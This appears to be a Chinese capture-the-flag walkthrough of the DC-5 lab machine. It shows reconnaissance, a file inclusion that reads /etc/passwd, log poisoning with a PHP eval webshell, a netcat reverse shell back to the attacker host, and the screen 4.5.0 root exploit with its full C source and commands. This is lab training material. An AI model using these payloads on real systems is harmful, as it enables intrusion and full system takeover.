先把DC-5的靶机安装到本地
下载地址是:https://www.five86.com/dc-5.html
进入页面点击here
进行下载
下载好之后,导入咱们的虚拟机
看到这个页面,表示我们靶机安装成功
首先我们进行信息收集,获取靶机的ip和相关端口
#获取ip地址
netdiscover -r 192.168.1.0/24
知道了ip,看下靶机开放了哪些端口
#获取端口
nmap 192.168.1.119
可以看到靶机开启了80端口,页面访问一下
访问成功
在页面中多浏览一下,发现Contact模块下可以输入内容,于是尝试多输入几次之后,发现了有意思的地方
可以看到相同的页面,只是局部发生了改变,说明这里使用了文件包含
首先进行目录扫描,看是否能够找到这个包含的文件
执行
python dirsearch.py -u http://192.168.1.119/solutions.php -e*
可以看到这个脚本是footer.php
既然知道了这个脚本,现在需要知道thankyou.php是如何把footer.php包含的
我们需要用bp进行爆破一下
需要将参数名爆出来
爆出啦参数名为 file
所以完整的地址为
http://192.168.1.119/thankyou.php?file=footer.php
直接将footer.php 改为/etc/passwd
http://192.168.1.119/thankyou.php?file=/etc/passwd
可以看到直接把账户名读了出来
既然可以读取密码文件,那也可以读取日志文件,方便我们读取木马文件
说到这里就是考验我们密码字典强大的时候,我们需要把日志文件爆破出来
可以看到直接把nginx的日志爆了出来
接下来就是把木马写入日志中,然后用蚁剑直接进行连接
首先尝试用phpinfo()
是否可以读取成功
访问
http://192.168.1.119/thankyou.php?file=/var/log/nginx/access.log
tip:要是发现没弹出phpinfo的信息,建议重装靶机,不要觉得是操作上的问题,真的是靶机问题,(这个地方卡我很久)
看到信息弹出,开始写入木马
<?php @eval($_POST[777]) ; ?>
然后使用蚁剑进行连接
链接成功
接下来反弹shell
kali执行
nc -lvvp 888
靶机执行
nc -e /bin/sh 192.168.1.116 888
执行
#获取完全交互的shell
python -c 'import pty;pty.spawn ( "/bin/bash")'
#通过find提权,查看用root权限运行的命令
find / -perm -4000 2>/dev/null
可以看到/bin/screen-4.5.0
在kali中执行
searchsploit screen 4.5.0
可以看到有两个漏洞利用,这里我们使用linux/local/41154.sh
脚本
进入目录看下脚本
这个脚本主要由三部分组成,原本是直接执行脚本,可惜这个脚本有问题,所以需要创建2个文件,把每个代码块单独拿出来执行
才可以
vi libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
vi rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
gcc -fPIC -shared -ldl -o libhax.so libhax.c gcc -o rootshell rootshell.c
可以看到本地生成了两个文件
将这两个文件通过http上传到靶机当中
在kali中执行
python -m SimpleHTTPServer 8000
在蚁剑中通过wget下载下来
http://192.168.1.116:8000/libhax.so
http://192.168.1.116:8000/rootshell
可以看到靶机有两个文件
执行之前脚本的第三个代码块,依次执行下面每条语句
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen –ls
/tmp/rootshell
发现提权成功
最终拿到flag